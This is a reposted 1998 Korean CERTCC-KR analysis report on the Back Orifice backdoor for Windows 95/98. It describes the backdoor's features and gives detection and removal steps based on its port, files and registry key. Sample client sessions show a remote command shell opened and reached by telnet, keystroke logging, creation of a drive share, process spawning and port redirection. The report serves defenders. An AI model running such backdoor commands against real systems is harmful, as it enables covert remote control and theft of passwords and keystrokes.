Back Orifice 분석 보고서
작성자 정보
- 웹관리자 작성
- 작성일
컨텐츠 정보
- 6,952 조회
- 0 추천
- 목록
본문
Back Orifice 분석 보고서
1998. 8
신 훈/CERTCC-KR, 한국정보보호센터
1.개요
- Back Orifice는 CDC(Cult of the Dead Cow)라는 해킹그룹의 Sir Dystic이 만든 MS WIN 95/98 관리자용 도구며 이 프로그램은 '98 8.1 세계적인 해커 회의인 DEFCON으로 널리알려지게 되었다. 하지만 이 프로그램은 사실 해커들이 백도어로 이용하기에 적합하도록 개발된 것으로 보인다. 본고에서는 실제 이 프로그램의 동작과정과 이에 대한 대책을 알아보기로 한다.
2.Back Orifice의 기능 및 특징
- 클라이언트/서버 모델로 설계되었으며 원격 공격자는 해당 Back Orifice 백도어 서버를 공격대상 시스템에 설치해야 하고 공격자 호스트에 클라이언트 프로그램을 설치해야한다. 설치는 자동적으로이루어지며 초보자도 쉽게 설치가능하도록 되어있다.
- Back Orifice 백도어 서버는 자체적으로 다음과 같은 주요기능을 가진다.
- HTTP 서버의 기능
- 패킷 스니퍼링 기능
- 키보드 모니터링 기능
- 연결재지정(connection redirect) 기능
- 원격 응용프로그램 실행기능
- 서버/클라이언트간에 암호화 통신 기능
- 클라이언트측에서는 서버의 이러한 기능을 이용하여 파일시스템의 모든 파일들에대하여 접근이 가능하고, 프로세스의 생성/삭제도 원격조정된다. 그리고 시스템 패스워드 유출, 키보드 모니터링, 사용자의 현재화면캡쳐도 가능하고 네트워크자원의 공유지정, 네트워크접속 재지정, 파일조작, 레지스트리조작도 가능하다. 이외에도 여러 가지 기능을 이용하여 원격사용자는 마치 자신의 시스템처럼 사용할 수 있다. 클라이언트는 유닉스용과 일반 윈도우용이 있으며 명령행실행방식과 GUI를 이용한 실행방식을 모두 제공한다.
- 또한 서버가 새로 버전업되었을 경우 원격지에서 업로드하여 업그래이드될 수 있는 재설치구조를 가지고 있다. 그리고 플러그인 구조를 채택하여 세계각지에서 만들어진 플러그인을 추가시켜 수행시킬 수 있는 기능도 포함하고 있다.
3.Back Orifice의 탐지 및 제거
- 공격자는 Back Orifice 설치시 파일이름이나 통신에 사용되는 포트번호를 바꿀수 있도록 하여 최대한 일반사용자들은 탐지하기 힘들게끔 만들어 놓았다. 이 프로그램은 기본값으로 설치될 때 " .exe"라는 이름과 31337포트를 이용하여 설치된다. 그리고 이 프로그램은 설치 및 사용시 여러 흔적을 남기므로 이를 이용하여 다음과 같이 대책을 정리할 수 있다.
- 31337 포트를 모니터링할수 있으나 공격자가 포트를 바꿀 경우에는 탐지할 수 없다. 허가된 포트만 허용하는 침입차단시스템을 이용하면 해당 접속을 막을 수 있다.
- 설치시 c:windowssystem 아래에 windll.dll 이란 이름의 파일을 생성한다. 공격자가 파일명을 조작할 수도 있으므로 8,192 바이트크기의 파일을 점검한다.
- 설치시 c:windowssystem 아래에 " .exe" 이름의 파일을 생성한다. 공격자가 파일명을 조작할 수도 있으므로 약 122K크기의 파일을 점검한다.
- netstat 명령으로 외부에서 UDP 포트로의 접속을 점검하여 백도어가 있다고 판단한다.
- HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows CurrentVersionRunServicesDefault의 값을 regedit 명령으로 확인하여 Blank가 아니고 특정값이 들어있으면 백도어가 있다고 판단하여 해당 값을 변경시킨후 시스템을 재부팅 시킨다.
4.Back Orifice의 실행화면예 (text based)
- 가) 각종 명령어가 나와있는 도움말 화면
-
BO:123.234.345.9>help Back Orifice Client v1.21 help: (Type help command for more help)
BO commands:
host ping pinglist status passwd quit sweep sweeplist
File commands:
dir del copy ren find freeze melt view tcpsend tcprecv
Directory commands:
cd rd md
System commands:
info passes dialog keylog reboot httpon httpoff lockup
Network commands:
netview netconnect netdisconnect netlist resolve sharelist shareadd sharedel
Plugin commands:
pluginexec pluginkill pluginlist
Process commands:
proclist prockill procspawn
Registry commands:
regmakekey regdelkey regdelval reglistkeys reglistvals regsetval
Multimedia commands:
listcaps capframe capavi capscreen sound
Redir commands:
redirlist rediradd redirdel
Console application commands:
applist appadd appdel
- 나) appadd명령을 이용하여 command.com을 원격지에서 수행
-
BO:123.234.345.9> BO:123.234.345.9>appadd command.com 23
------- Packet received from 123.234.345.9 port 31337 -------
App 0:'command.com' spawned on port 23
------- End of data -------
BO:123.234.345.9>
==============================================
other# telnet 123.234.345.9
Trying 123.234.345.9...
Connected to 123.234.345.9.
Escape character is '^]'.
l
Microsoft Windows 95
(C)Copyright Microsoft Corp 1981-1995.
s
C:해킹>C
- 다) 디렉토리 생성과 목록보기, 그리고 삭제
-
:123.234.345.9>md test ------- Packet received from 123.234.345.9 port 31337 -------
Directory 'c: est' created successfully
------- End of data -------
BO:123.234.345.9>dir test
------- Packet received from 123.234.345.9 port 31337 -------
Contents of directory 'c: est*':
54790 -A----- 03-15-98 18:24 TEST2000.EXE
15882 -A----- 03-15-98 20:17 TEST2000.TXT
193 -A----- 04-22-98 15:11 TEST2000.TST
TEST 0 D------ 08-17-98 14:52 test
Total files: 4
------- End of data -------
BO:123.234.345.9>rd test
------- Packet received from 123.234.345.9 port 31337 -------
Directory '.. est' removed successfully
------- End of data -------
BO:123.234.345.9>
- 라) 공유자원의 열람, 추가
-
BO:123.234.345.9>sharelist ------- Packet received from 123.234.345.9 port 31337 -------
Shares as returned by system:
'GTEDIT'-C:GTEDIT '' RO:'' RW:'' Disk PERSISTANT READONLY
'ADMIN$'-C:WINDOWS '' RO:'' RW:'GLASS' Disk PERSISTANT SYSTEM FULL
'IPC$'- '원격 프로세스간 통신' RO:'' RW:'' IPC FULL
End of shares
------- End of data -------
BO:123.234.345.9>shareadd hoon c:
------- Packet received from 123.234.345.9 port 31337 -------
Exported C: as 'hoon' with password '' and remark ''
------- End of data -------
BO:123.234.345.9>sharelist
------- Packet received from 123.234.345.9 port 31337 -------
Shares as returned by system:
'HOON'-C: '' RO:'' RW:'' Disk PERSISTANT SYSTEM FULL
'GTEDIT'-C:GTEDIT '' RO:'' RW:'' Disk PERSISTANT READONLY
'ADMIN$'-C:WINDOWS '' RO:'' RW:'GLASS' Disk PERSISTANT SYSTEM FULL
'IPC$'- '원격 프로세스간 통신' RO:'' RW:'' IPC FULL
End of shares
- 마) 키보드 모니터링 시작과 종료
-
BO:123.234.345.9>keylog test ------- Packet received from 123.234.345.9 port 31337 -------
:123.234.345.9>view test.txt
------- Packet received from 123.234.345.9 port 31337 -------
Contents of c: est.txt (245 bytes):
->["chollian.net - 새롬 데이타맨 프로 3.72 베타"]
[RETURN]x[RETURN][RETURN]kisart[RETURN]dng[BACK]ffmdeh[RETURN][RETURN][RETURN]
- End of file -
------- End of data -------
Logging keys
------- End of data -------
BO:123.234.345.9>keylog stop
------- Packet received from 123.234.345.9 port 31337 -------
Logging ended
- 바) 프로세스 목록보기와 원격 프로세스생성
-
BO:123.234.345.9>proclist ------- Packet received from 123.234.345.9 port 31337 -------
pid - Executable
4291794163 C:WINDOWSSYSTEMKERNEL32.DLL
4294955099 C:WINDOWSSYSTEMMSGSRV32.EXE
4294957991 C:WINDOWSSYSTEMSPOOL32.EXE
4294862043 C:WINDOWSSYSTEMMPREXE.EXE
4294893539 C:WINDOWSEXPLORER.EXE
4294890475 C:HNCNSHOOKM.EXE
4293986659 C:REALPLAYERREALPLAY.EXE
4293984943 C:WINDOWSSYSTEMHPJETDSC.EXE
4294027919 C:PROGRAM FILESMICROSOFT OFFICEOFFICEOSA.EXE
4293997107 C:WINDOWSSYSTEMwnlssub.exe
4294952475 C:PROGRAM FILESNETSCAPECOMMUNICATORPROGRAMNSNOTIFY.EXE
4294128355 C:WINDOWSSYSTEMREDIR32.EXE
4294128631 C:WINDOWSSYSTEMWINOA386.MOD
4294055079 C:WINDOWSSYSTEMREDIR32.EXE
4294054639 C:WINDOWSSYSTEMWINOA386.MOD
4294436043 C:WINDOWSSYSTEM .EXE
4294046803 C:PROGRAM FILESNETSCAPECOMMUNICATORPROGRAMNETSCAPE.EXE
End of processes
------- End of data -------
BO:123.234.345.9>procspawn C:HNCHWPW.EXE
------- Packet received from 123.234.345.9 port 31337 -------
'C:HNCHWPW.EXE ' spawned successfully as process 4291374859
- 사) 접속재지정과 접속재지정 목록보기
-
:123.234.345.9>rediradd 23 123.234.345.15 ------- Packet received from 123.234.345.9 port 31337 -------
Redir 0 is directing port 23 to 123.234.345.13:23
------- End of data -------
BO:123.234.345.9>redirlist
------- Packet received from 123.234.345.9 port 31337 -------
Redirected ports:
0:port 23:TCP->123.234.345.13:23
1 redirs displayed
------- End of data -------
BO:123.234.345.9>
- 아) 백도어서버호스트에 메시지보내기
-
BO:123.234.345.9>dialog HI! test ------- Packet received from 123.234.345.9 port 31337 -------
Dialog box displayed.
[Lost 6 packets?]
------- End of data -------
- 자) HTTP를 이용한 자료접근
-
BO:123.234.345.9>httpon 80 ------- Packet received from 123.234.345.9 port 31337 -------
HTTP server listening on port 80
------- End of data -------
BO:123.234.345.9>
[참고문헌]
- ISS Security Alert Advisory, '98.8.6
- MS Security Bulletin MS98-010 '98.8.4
- REACT Security Advisory '98.8.3
- CDC Back Orifice v1.20 README '98.7.30
관련자료
-
이전
-
다음